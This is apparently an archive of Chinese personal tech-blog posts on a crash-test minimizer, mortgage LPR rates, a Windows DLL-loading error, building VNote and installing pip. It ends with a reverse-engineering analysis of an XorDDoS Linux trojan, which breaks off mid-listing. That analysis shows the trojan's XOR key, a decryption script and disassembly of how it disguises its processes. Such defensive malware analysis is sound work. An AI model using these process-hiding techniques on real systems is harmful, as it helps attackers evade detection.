0%

https://github.com/googleprojectzero/halfempty

google P0 @taviso 提供的 testcase 并行快速精简工具 (A fast, parallel test case minimization tool)
需要注意的是 halfempty 只能精简导致目标程序 crash 的 testcase,如果 testcase 不导致目标程序 crash, 还是需要使用 afl-tmin 类似的工具根据 coverage 来精简。

halfempty 工具向测试脚本传递内容时使用的是 pipe, 如果测试的程序只接受文件路径作为参数时,需要一些技巧,README 虽然有提及但是说的比较晦涩。

以 upx 为例,upx 的命令行帮助如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@fuzzing-5:/mnt/disk/halfempty# ./upx.out_x86-64
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX git-d7ba31+ Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020

Usage: upx.out_x86-64 [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress

Type 'upx.out_x86-64 --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

upx 只能使用文件路径作为参数, 比如像这样执行命令。 ./upx.out_x86-64 crash.upx

按照 README 中的例子编写测试脚本 test.sh

1
2
3
4
5
6
7
8
9
#!/bin/sh

./upx.out_x86-64 $1

if test $? -eq 139; then
exit 0
else
exit 1
fi

执行的时候会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
./halfempty ./test.sh  crash.upx
╭│ │ ── halfempty ───────────────────────────────────────────────── v0.30 ──
╰│ 16│ A fast, parallel testcase minimization tool
╰───╯ ───────────────────────────────────────────────────────── by @taviso ──

Input file "crash.upx" is now 19088 bytes, starting strategy "bisect"...
Verifying the original input executes successfully... (skip with --noverify)
** Message: This program expected `./test1.sh` to return successfully
** Message: for the original input (i.e. exitcode zero).
** Message: Try it yourself to verify it's working.
** Message: Use a command like: `cat crash.upx | ./test.sh || echo failed`

** (halfempty:2477): WARNING **: Strategy "bisect" failed, cannot continue.

正确的方法是使用临时文件,因为 halfempty 是一个并行的工具,每次使用的临时文件都应该不一样。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

tempfile=`mktemp` && cat > ${tempfile}

./upx.out_x86-64 ${tempfile}

if test $? -eq 139; then
exit 0
else
exit 1
fi

运行后的输出,大致如下

1
2
3
4
5
6
7
8
9
10
root@fuzzing-5:/mnt/disk/halfempty# ./halfempty  ./test.sh  crash.upx 
╭│ │ ── halfempty ───────────────────────────────────────────────── v0.30 ──
╰│ 16│ A fast, parallel testcase minimization tool
╰───╯ ───────────────────────────────────────────────────────── by @taviso ──

Input file "crash.upx" is now 19088 bytes, starting strategy "bisect"...
Verifying the original input executes successfully... (skip with --noverify)
The original input file succeeded after 0.0 seconds.
New finalized size: 19088 (depth=2) real=0.0s, user=0.0s, speedup=~-0.0s
treesize=6654, height=6376, unproc=0, real=4.4^C user=19.3s, speedup=~14.9s

已经可以正常运行了。

原来的机制

在 LPR 之前,我国贷款利率锚定 中国人民银行发布的 “贷款基准利率”。

1
房贷利率 = 贷款基准利率 x (1 + 浮动)

浮动可以上浮,也可以下浮, 上浮意味着贷款利率大于贷款基准利率,反之下浮则是小于。

LPR 新机制

MLF 是我国央行向商业银行放贷的一种方式 (中期借款便利),商业银行将一些抵押物质押给央行,换取一定期限,数额的贷款,同时向央行支付利息。央行通过控制 MLF 的数量总额和利率,从而影响市场。

商业银行可以选择从央行贷款,也可以使用从其他银行贷款,所以 MLF 不能偏离市场太多,也是一种市场化的利率调控手段。

商业银行拿到资金后,需要放贷给个人和企业,放贷需要参考央行的基准利率。所以这种市场上就有两种利率,如果贷款的基准利率过高,钱就会滞留银行,这样就引入了 LPR。

锚定 LPR,也就是浮动利率,会随着市场上资金的充盈程度变化。

1
LPR = MLF 利率 + 风险利润加点

风险利润加点由 18家银行决定,这18家银行是 中国工商银行,中国农业银行,中国建设银行,交通银行,中信银行,招商银行,兴业银行,浦东发展银行,中国民生银行,西安银行,台州银行,上海农村商业银行, 广东顺德农村商业银行,渣打银行(中国),花旗银行(中国),微众银行,网商银行。

LPR 利率有18家报价,去掉一个最高值,去掉一个最低值,剩下16家取算术平均取得。

个人或者企业向银行贷款时的利率,通过 LPR 计算。

1
房贷利率 = LPR 利率 + 加点

同样加点可以上浮,也可以下浮,这个是你和银行之间的协议加点。最终的利率还和政策加点有关,比如有的城市规定,二套房上浮 60个基点 (一个基点为 0.01 %),即上浮 0.6%

所以最终的公式为:

1
房贷利率 = LPR 利率 + 政策加点 + 协议加点

以前没有遇上这个错误,这次遇上这个错误是装vim的YouCompleteMe插件后出现,因此很容易想到是装插件引起的这个错误,错误提示Runtime Error 如下图:

error

先放狗搜一下,微软的对R6034的解释如下:

1
2
3
4
5
An application has made an attempt to load the C runtime library without using
a manifest. This is an unsupported way to load Visual C++ DLLs. You need to
modify your application to build with a manifest. For more information, see the
"Visual C++ Libraries as Shared Side-by-Side Assemblies" topic in the product
documentation.

微软的链接中也提到了解决的方法

1
2
3
4
5
6
Rebuild your application to include a manifest. Building an application with
Visual Studio automatically puts the manifest into the resulting .exe or .dll
file. If you are building at the command line, use the mt.exe tool to add the
manifest as a resource. Use resource ID 1 if you build an .exe, and resource
ID 2 if you build a .dll. For more information, see How to: Embed a Manifest
Inside a C/C++ Application.

大概的意思是需要使用manifest.xml来指定需要加载的DLL。上网又翻看了几个链接发现这个错误的成因比较复杂,主要原因是加载mscvr*.dll 出现了问题。不管怎样还是先看看是否使用了 manifest。从微软的解决办法可以知道,manifest很有可能在资源文件里。

还是先看看manifest的作用,在msdn网站搜索相关内容,根据《Understanding Manifest Generation for C/C++ Programs》中的内容,manfest.xml可以是一个外部的XML文件也可以是嵌入在程序的资源文件中。manifest.xml用于管理程序在运行时需要的共享程序集的名字和版本。如果程序只依赖 VisualC++ 的程序集(CRT,MFC,ATL等),manifest会被链接器自动生成。Manifest的Sxs指定了其依赖的清单名称,版本,资源,和其他组件。Sxs是Windows XP引入的新技术,vs 2005 开始使用,全名叫Side by Side assembly,主要还是为了解决兼容性问题,这样同一个系统可以存在不同版本的同名文件而互相不影响各自的运行。

sxs

现在需要定位gvim.exe加载哪个DLL引起了R6034错误,使用Process Explorer发现是加载ycm_client_support.pyd导致。删除YouCompleteMe插件后错误消失。

先看看ycm_client_support.pyd是否使用了manifest.xml, 使用神器TC, F3一下,可以查看manifest的情况。

manifest.xml

发现其实ycm_client_support.pyd已经使用了manifest,但是仍然出现R6034错误。上网搜索了一番(见文末的参考链接),发现这就是非常著名的DLL Hell了,维基百科中专门记录了这个问题。 http://en.wikipedia.org/wiki/Dll_hell

不论如何应该就是DLL加载时出错了,可以使用Process Explorer 工具来查看出问题的进程,看看在进程空间内具体是什么情况。

p-e

哈哈,发现了一些情况,msvcr90.dll在gvim进程空间里有两个!再看看这两个DLL的位置。

p-e1

p-e2

删除掉不在C:\WINDOWS\WinSxS\目录里的msvcr90.dll,问题得以解决。由于这个错误是因为加载ycm_client_support.pyd引起的,再看看ycm_client_support.pyd的情况,拿出TC直接F3一下,又发现了一些有用的信息。ycm_client_support.pyd加载的是cmake目录下的msvcr90.dll, 正常情况下因该使用 C:\Windows\winsxs 目录下的msvcr90.dll

tc1

tc2

查看一下系统环境变量:

1
2
3
4
5
6
7
8
9
10
D:\Program Files\Microsoft Visual Studio 9.0\VC> set | findstr Path

Path=D:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE;D:\Program Files\M
icrosoft Visual Studio 9.0\VC\BIN;D:\Program Files\Microsoft Visual Studio 9.0\C
ommon7\Tools;c:\Windows\Microsoft.NET\Framework\v3.5;c:\Windows\Microsoft.NET\Fr
amework\v2.0.50727;D:\Program Files\Microsoft Visual Studio 9.0\VC\VCPackages;C:
\Program Files\\Microsoft SDKs\Windows\v6.0A\bin;C:\Windows\system32;C:\Windows;
d:\Program Files\CMake 2.8\bin;d:\Program Files\LLVM 3.4.svn\bin;d:\Program File
s\Git\cmd;d:\Python27;D:\Program Files\IDM Computer Solutions\UltraEdit\
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

引错误的原因是Windows程序加载DLL是会先加载PATH变量中的DLL文件,后面会加载manifest指定的WinSxS目录的文件,这样就加载了两次,引起了错误。

这个问题涉及 Windows加载DLL文件的顺序,Windows定位 DLL文件的顺序和一个注册表键值相关,这个键值是:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

SafeDllSearchMode的值为1,开启SafeDllSearchMode,
SafeDllSearchMode的值为0,禁用SafeDllSearchMode。

Windows系统默认开启SafeDllSearchMode (Windows XP SP2 后),MSDN文章《Dynamic-Link Library Search Order》中指出,在SafeDllSearchMode开启的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The system directory. ( GetSystemDirectory )
  3. The 16-bit system directory.
  4. The Windows directory. (GetWindowsDirectory )
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.

在SafeDllSearchMode关闭的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The current directory.
  3. The system directory. (GetSystemDirectory )
  4. The 16-bit system directory.
  5. The Windows directory. ( GetWindowsDirectory)
  6. The directories that are listed in the PATH environment variable.

另外,《Dynamic-Link Library Search Order》中指出使用manifest可以指定加载DLL的路径,但实际的情况是有可能加载多个DLL导致进程崩溃。

Desktop applications can control the location from which a DLL is loaded by specifying a full path, using DLL redirection, or by using a manifest. If none of these methods are used, the system searches for the DLL at load time as described in this section.

参考资料

[1]《Windows via C/C++ Fifth Edition》
[2] Side-by-side Assemblies http://msdn.microsoft.com/en-us/library/aa376307.aspx
[3] DLL Hell http://en.wikipedia.org/wiki/Dll_hell
[4] C Run-Time Error R6034 http://msdn.microsoft.com/en-us/library/ms235560(v=vs.90).aspx
[5] Understanding Manifest Generation for C/C++ Programs http://msdn.microsoft.com/en-us/library/ms235542.aspx
[6] Search Path Used by Windows to Locate a DLL http://msdn.microsoft.com/en-us/library/7d83bc18.aspx
[7] Dynamic-Link Library Search Order http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
[8] https://bitbucket.org/Haroogan/vim-youcompleteme-for-windows/src/7dca764c2ee0?at=master
[9] https://github.com/Valloric/YouCompleteMe/wiki/Windows-Installation-Guide
[10] http://www.davidlenihan.com/2007/07/winsxs.html

向大家安利一款 markdown 笔记软件, VNote http://t.cn/RXj6L39
此软件目前已经 1300 多个commits 了,做为一个有些开源软件维护经历的人,深感不易。
用了太多 markdown 笔记软件,此软件使得最为顺手,尤其作为程序员 vim 模式 让我感到非常舒服,
大量图表的支持比如 UML 流程图,让我用起来很顺手。

VNote

我前后尝试过各种笔记软件,我理想的软件有几点:

  • a. 支持文件管理
  • b. 不要乱改数据,容易迁移
  • c. 支持 markdown
  • d. 跨平台,支持 Mac 和 Linux

最后,终于发现了 VNote,有点惊喜。在 Linux 下编译 VNote 显示有明显改进,下面是编译的方法:

  1. 下载 QT SDK

https://mirrors4.tuna.tsinghua.edu.cn/qt/official_releases/qt/5.9/5.9.0/qt-opensource-linux-x64-5.9.0.run

将 Qt5.9 安装到 /home/henices/Qt5.9.0/

  1. 编译 fcitx-qt5

git clone https://gitlab.com/fcitx/fcitx-qt5.git

准备编译脚本 build_linux.sh, 指定下载的QT

1
2
3
4
5
6
7
8
9
10
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh

将生成的 libfcitxplatforminputcontextplugin.so copy 到
/home/henices/Qt5.9.0/5.9/gcc_64/plugins/platforminputcontexts/

  1. 获取VNote 源码
1
2
3
git clone https://github.com/tamlok/vnote.git vnote.git
cd vnote.git
git submodule update --init
  1. 编译

build_linux.sh

1
2
3
4
5
6
7
8
9
10
11
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
qmake -v
qmake PREFIX=/usr/local CONFIG-=debug CONFIG+=release ../VNote.pro
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh
  1. 安装

sudo make install

参考链接

https://tamlok.gitee.io/vnote/zh_cn/#!docs/%E5%BC%80%E5%8F%91%E8%80%85/%E6%9E%84%E5%BB%BAVNote.md

一加3T其实和一加5用的是同一块屏幕,网上流传的方法多需要root权限。非root 开启 p3 色域的方法,
连接 adb 输入下面的命令 settings put system screen_color_mode_settings_value 4 实测有效,重启后不失效。

Q:Fedora 31 提供的 Python3.7, 想使用 Python3.8, 用系统的pip3 只会给 Python3.7 安装库,如何解决

A:

1
2
curl -O https://bootstrap.pypa.io/get-pip.py
python3.8 get-pip.py

执行上面命令后,会在 /usr/local/bin/ 下生成和 pip 相关的脚本,把这些脚本删除,要不可能会和系统的 pip3 冲突。
接下来就可以使用下面的命令行安装 Python3.8 的库

python3.8 -m pip install pyhash --user

在安装过程中可能会因为众所周知的原因导致网络出错,备好梯子即可。

进程隐藏

上周由于工作原因接触到xorddos的样本,这个样本在过去一年的时间里非常常见,
变种也很多,拿到的样本比较有趣的是 ps 无法发现进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# ps -ef  | grep /usr/bin

...

root 4597 4594 0 00:37 ? 00:00:00 gnome-pty-helper
root 4598 4594 0 00:37 pts/1 00:00:00 bash
oracle 5359 1 0 00:41 ? 00:00:00 ora_smco_orcl
oracle 5378 1 0 00:41 ? 00:00:00 ora_w000_orcl
oracle 5586 1 0 00:42 ? 00:00:00 ora_j000_orcl
oracle 5588 1 0 00:42 ? 00:00:00 ora_j001_orcl
root 5666 1 0 00:43 ? 00:00:00 sh
root 5669 1 0 00:43 ? 00:00:00 echo "find"
root 5672 1 0 00:43 ? 00:00:00 ls -la
root 5675 1 0 00:43 ? 00:00:00 bash
root 5678 1 0 00:43 ? 00:00:00 gnome-terminal
root 5683 1 0 00:43 ? 00:00:00 cd /etc
root 5686 1 0 00:43 ? 00:00:00 top
root 5689 1 0 00:43 ? 00:00:00 sh
root 5692 1 0 00:43 ? 00:00:00 gnome-terminal
root 5695 1 0 00:43 ? 00:00:00 ifconfig
root 5696 4598 0 00:43 pts/1 00:00:00 ps -ef

而使用lsof却可以清除地看见样本正在努力地干活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[root@localhost ~]# lsof +d /usr/bin
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
hidd 1853 root txt REG 3,1 33708 2467454 /usr/bin/hidd
ckucbzknt 2014 root txt REG 3,1 610331 2459176 /usr/bin/ckucbzkntb
xfs 2143 xfs txt REG 3,1 107460 2468483 /usr/bin/xfs
Xorg 3117 root txt REG 3,1 1890596 2466732 /usr/bin/Xorg
gnome-ses 4073 root txt REG 3,1 129356 2459482 /usr/bin/gnome-session
ssh-agent 4201 root txt REG 3,1 88996 2467513 /usr/bin/ssh-agent
dbus-laun 4245 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-key 4255 root txt REG 3,1 97396 2473617 /usr/bin/gnome-keyring-daemon
metacity 4290 root txt REG 3,1 521080 2464500 /usr/bin/metacity
gnome-pan 4296 root txt REG 3,1 540868 2465177 /usr/bin/gnome-panel
nautilus 4298 root txt REG 3,1 1348932 2461620 /usr/bin/nautilus
gnome-vol 4310 root txt REG 3,1 65240 2464498 /usr/bin/gnome-volume-manager
bt-applet 4334 root txt REG 3,1 30452 2464773 /usr/bin/bt-applet
nm-applet 4352 root txt REG 3,1 312432 2467723 /usr/bin/nm-applet
gnome-pow 4381 root txt REG 3,1 195284 2459473 /usr/bin/gnome-power-manager
pam-panel 4383 root txt REG 3,1 39148 2461862 /usr/bin/pam-panel-icon
dbus-laun 4473 root txt REG 3,1 23796 2471600 /usr/bin/dbus-launch
gnome-scr 4512 root txt REG 3,1 168628 2468487 /usr/bin/gnome-screensaver
gnome-ter 4594 root txt REG 3,1 309368 2464648 /usr/bin/gnome-terminal
gadcgkcqn 4681 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4684 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4687 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4690 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni
gadcgkcqn 4693 root txt REG 3,1 610331 2460159 /usr/bin/gadcgkcqni

阅读汇编代码,分析具体原因,发现xorddos将一些关键信息加密了,F5处理过的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl encrypt_code(int a1, int a2)
{
signed int v2; // ecx@2

if ( a2 > 0 )
{
v2 = 0;
do
{
*(_BYTE *)(v2 + a1) ^= xorkeys[(((_BYTE)v2 + ((unsigned int)(v2 >> 31) >> 28)) & 0xF)
- ((unsigned int)(v2 >> 31) >> 28)];
++v2;
}
while ( v2 != a2 );
}
return a1;
}

xorkey 为 BB2FA36AAA9541F0

用idapython 写个小脚本,简单处理一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from idautils import *
from idc import *


def get_string(addr):
out = ""
while True:
if Byte(addr) != 0:
out += chr(Byte(addr))
else:
break
addr += 1
return out

def decrypt(data):

xorkey = 'BB2FA36AAA9541F0'
length = len(data)
o = ""
if length > 0:
v2 = 0
while v2 < length:
o += chr( ord(data[v2]) ^ ord(xorkey[((v2 + ((v2 >> 31) >> 28)) & 0xF) - ( (v2 >> 31) >> 28)]) )
v2 += 1

return o

ea = ScreenEA()
string = get_string(ea)
dec = decrypt(string)
print 'Addr: 0x%x, %s' % (ea, dec)
MakeComm(ea, dec)

处理后可以看到伪装的命令行信息,daemonname。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
.data:080CBB40 daemonname      db '!#Ff3VE.-7',17h,'V[_ 0',0 ; DATA XREF: main+31Eo
.data:080CBB40 ; main+4AEo ...
.data:080CBB40 ; cat resolv.conf
.data:080CBB51 align 4
.data:080CBB54 a12 db '1*2',0 ; sh
.data:080CBB58 db 0
.data:080CBB59 db 0
.data:080CBB5A db 0
.data:080CBB5B db 0
.data:080CBB5C db 0
.data:080CBB5D db 0
.data:080CBB5E db 0
.data:080CBB5F db 0
.data:080CBB60 db 0
.data:080CBB61 db 0
.data:080CBB62 db 0
.data:080CBB63 db 0
.data:080CBB64 db 0
.data:080CBB65 db 0
.data:080CBB66 db 0
.data:080CBB67 db 0
.data:080CBB68 db 20h ; bash
.data:080CBB69 db 23h ; #
.data:080CBB6A db 41h ; A
.data:080CBB6B db 2Eh ; .
.data:080CBB6C db 41h ; A
.data:080CBB6D db 0
.data:080CBB6E db 0
.data:080CBB6F db 0
.data:080CBB70 db 0
.data:080CBB71 db 0

...

.data:080CBBB8 db 2Eh ; . ; ls -la
.data:080CBBB9 db 31h ; 1
.data:080CBBBA db 12h
.data:080CBBBB db 6Bh ; k
.data:080CBBBC db 2Dh ; -
.data:080CBBBD db 52h ; R
.data:080CBBBE db 36h ; 6
.data:080CBBBF db 0
.data:080CBBC0 db 0
.data:080CBBC1 db 0
.data:080CBBC2 db 0
.data:080CBBC3 db 0
.data:080CBBC4 db 0
.data:080CBBC5 db 0
.data:080CBBC6 db 0
.data:080CBBC7 db 0
.data:080CBBC8 db 0
.data:080CBBC9 db 0
.data:080CBBCA db 0
.data:080CBBCB db 0
.data:080CBBCC db 36h ; 6 ; top
.data:080CBBCD db 2Dh ; -
.data:080CBBCE db 42h ; B
.data:080CBBCF db 46h ; F
.data:080CBBD0 db 0
.data:080CBBD1 db 0
.data:080CBBD2 db 0

...

呵呵,已经看到 top, ls -al 等信息了,查看daemonname 的交叉引用,发现在main函数
中,到main里看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804AC30 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804AC30 public main
.text:0804AC30 main proc near ; DATA XREF: _start+17o

....

.text:0804AF4E mov ebx, offset daemonname ; "!#Ff3VE.-7\x17V[_ 0"

...

.text:0804AFC2 loc_804AFC2: ; CODE XREF: main+3ABj
.text:0804AFC2 mov [esp], ebx
.text:0804AFC5 add ebx, 14h
.text:0804AFC8 mov dword ptr [esp+4], 14h
.text:0804AFD0 call encrypt_code
.text:0804AFD5 cmp ebx, offset unk_80CBD0C
.text:0804AFDB jnz short loc_804AFC2

这段汇编代码,使用了一个循环,调用encrypt_code 对daemonname进行了解密。
后面的代码,用到了daemonname的地方有下面几处,

第一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0804B29F                 call    getpid
.text:0804B2A4 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B2AC mov dword ptr [esp+4], 0Ah
.text:0804B2B4 mov [esp], esi ;第三形参 pid
.text:0804B2B7 mov [esp+0Ch], eax
.text:0804B2BB call snprintf
.text:0804B2C0 mov dword ptr [esp+4], 17h
.text:0804B2C8 mov dword ptr [esp], 0
.text:0804B2CF call randomid
.text:0804B2D4 mov [esp+8], esi
.text:0804B2D8 mov [esp], edi ;第一形参 要跑的木马
.text:0804B2DB movzx eax, ax
.text:0804B2DE lea eax, [eax+eax*4]
.text:0804B2E1 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B2E8 mov [esp+4], eax ; 第二形参 daemonname
.text:0804B2EC call LinuxExec_Argv2

第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B932                 lea     edx, [ebp+var_1888]
.text:0804B938 add ebx, 1
.text:0804B93B mov [esp], edx
.text:0804B93E call randmd5
.text:0804B943 mov [ebp+var_22], 0
.text:0804B94A mov [ebp+var_1E], 0
.text:0804B951 mov [ebp+var_1A], 0
.text:0804B957 call getpid
.text:0804B95C mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804B964 mov dword ptr [esp+4], 0Ah
.text:0804B96C mov [esp], esi
.text:0804B96F mov [esp+0Ch], eax
.text:0804B973 call snprintf
.text:0804B978 mov dword ptr [esp+4], 17h
.text:0804B980 mov dword ptr [esp], 0
.text:0804B987 call randomid
.text:0804B98C mov [esp+8], esi
.text:0804B990 movzx eax, ax
.text:0804B993 lea eax, [eax+eax*4]
.text:0804B996 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804B99D mov [esp+4], eax
.text:0804B9A1 lea eax, [ebp+var_1888]
.text:0804B9A7 mov [esp], eax
.text:0804B9AA call LinuxExec_Argv2

第三处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804B9DF                 lea     edx, [ebp+var_1C88]
.text:0804B9E5 add ebx, 1
.text:0804B9E8 mov [esp], edx
.text:0804B9EB call randmd5
.text:0804B9F0 mov [ebp+var_22], 0
.text:0804B9F7 mov [ebp+var_1E], 0
.text:0804B9FE mov [ebp+var_1A], 0
.text:0804BA04 call getpid
.text:0804BA09 mov dword ptr [esp+8], (offset aDD+3) ; "%d"
.text:0804BA11 mov dword ptr [esp+4], 0Ah
.text:0804BA19 mov [esp], esi
.text:0804BA1C mov [esp+0Ch], eax
.text:0804BA20 call snprintf
.text:0804BA25 mov dword ptr [esp+4], 17h
.text:0804BA2D mov dword ptr [esp], 0
.text:0804BA34 call randomid
.text:0804BA39 mov [esp+8], esi
.text:0804BA3D movzx eax, ax
.text:0804BA40 lea eax, [eax+eax*4]
.text:0804BA43 lea eax, daemonname[eax*4] ; "!#Ff3VE.-7\x17V[_ 0"
.text:0804BA4A mov [esp+4], eax
.text:0804BA4E lea eax, [ebp+var_1C88]
.text:0804BA54 mov [esp], eax
.text:0804BA57 call LinuxExec_Argv2

都是作为LinuxExec_Argv2 参数使用的,接着来看LinuxExec_Argv2 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.text:08048520 LinuxExec_Argv2 proc near               ; CODE XREF: DelService+B3p
.text:08048520 ; DelService+CBlp ...
.text:08048520
.text:08048520 argv = dword ptr -18h
.text:08048520 var_14 = dword ptr -14h
.text:08048520 var_10 = dword ptr -10h
.text:08048520 var_C = dword ptr -0Ch
.text:08048520 var_8 = dword ptr -8
.text:08048520 var_4 = dword ptr -4
.text:08048520 file = dword ptr 8
.text:08048520 arg_4 = dword ptr 0Ch
.text:08048520 arg_8 = dword ptr 10h
.text:08048520
.text:08048520 push ebp
.text:08048521 mov ebp, esp
.text:08048523 sub esp, 28h
.text:08048526 mov [ebp+var_4], esi
.text:08048529 mov esi, [ebp+file]
.text:0804852C mov [ebp+var_8], ebx
.text:0804852F mov [ebp+argv], 0
.text:08048536 mov [ebp+var_14], 0
.text:0804853D mov [ebp+var_10], 0
.text:08048544 mov [ebp+var_C], 0
.text:0804854B call doublefork
.text:08048550 test eax, eax
.text:08048552 jz short ZERO
.text:08048554 mov ebx, [ebp+var_8]
.text:08048557 mov esi, [ebp+var_4]
.text:0804855A mov esp, ebp
.text:0804855C pop ebp
.text:0804855D retn
.text:0804855E ; ---------------------------------------------------------------------------
.text:0804855E
.text:0804855E ZERO: ; CODE XREF: LinuxExec_Argv2+32j
.text:0804855E mov ebx, 3
.text:08048563
.text:08048563 LOOP: ; CODE XREF: LinuxExec_Argv2+54j
.text:08048563 mov [esp], ebx ; fd
.text:08048566 add ebx, 1
.text:08048569 call close
.text:0804856E cmp ebx, 400h ;400h == 1024
.text:08048574 jnz short LOOP
.text:08048576 mov eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
.text:0804857C mov [esp], esi ; file
.text:0804857F mov [ebp+var_14], eax
.text:08048582 mov eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax
.text:08048588 lea eax, [ebp+argv]
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp
.text:08048594 mov dword ptr [esp], 0 ; status
.text:0804859B call exit
.text:0804859B LinuxExec_Argv2 endp

LinuxExec_Argv2 有三个参数。最终执行了execvp

1
2
3
4
.text:0804857C                 mov     [esp], esi      ; file 
...
.text:0804858B mov [esp+4], eax ; argv
.text:0804858F call execvp

伪代码为,

1
execvp(file, &argv);

file 就是arg_0, 需要分析argv, 调出栈图就比较清晰了。

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            dd ?                    ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

首先是这句

1
2
3
4
5
.text:08048529                 mov     esi, [ebp+file]
...
.text:0804852F mov [ebp+argv], 0
...
.text:08048579 mov [ebp+argv], esi

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                       ; offset
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

再看这几句代码

1
2
3
4
.text:08048576                 mov     eax, [ebp+arg_4]
.text:08048579 mov [ebp+argv], esi
...
.text:0804857F mov [ebp+var_14], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?

接下来是这几句代码

1
2
.text:08048582                 mov     eax, [ebp+arg_8];eax = pid
.text:08048585 mov [ebp+var_10], eax

执行了这几句代码后,栈图发生了变化

1
2
3
4
5
6
7
8
9
10
11
12
-00000018 argv            arg_0                   ; offset
-00000014 var_14 arg_4
-00000010 var_10 arg_8
-0000000C var_C 0
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 file dd ? ; offset
+0000000C arg_4 dd ?
+00000010 arg_8 dd ?
`

main函数中对LinuxExec_Argv2 的调用的为代码为

1
LinuxExec_Argv2('木马路径', '伪装命令行', pid);

因此最后调用的execvp的伪代码为

1
execvp('木马路径', argv);

将进入 main 函数参数个数为3的流程,用IDA重命名后,关键代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
text:0804B5D3 PARAM_NUM_3:                            ; CODE XREF: main+3CDj

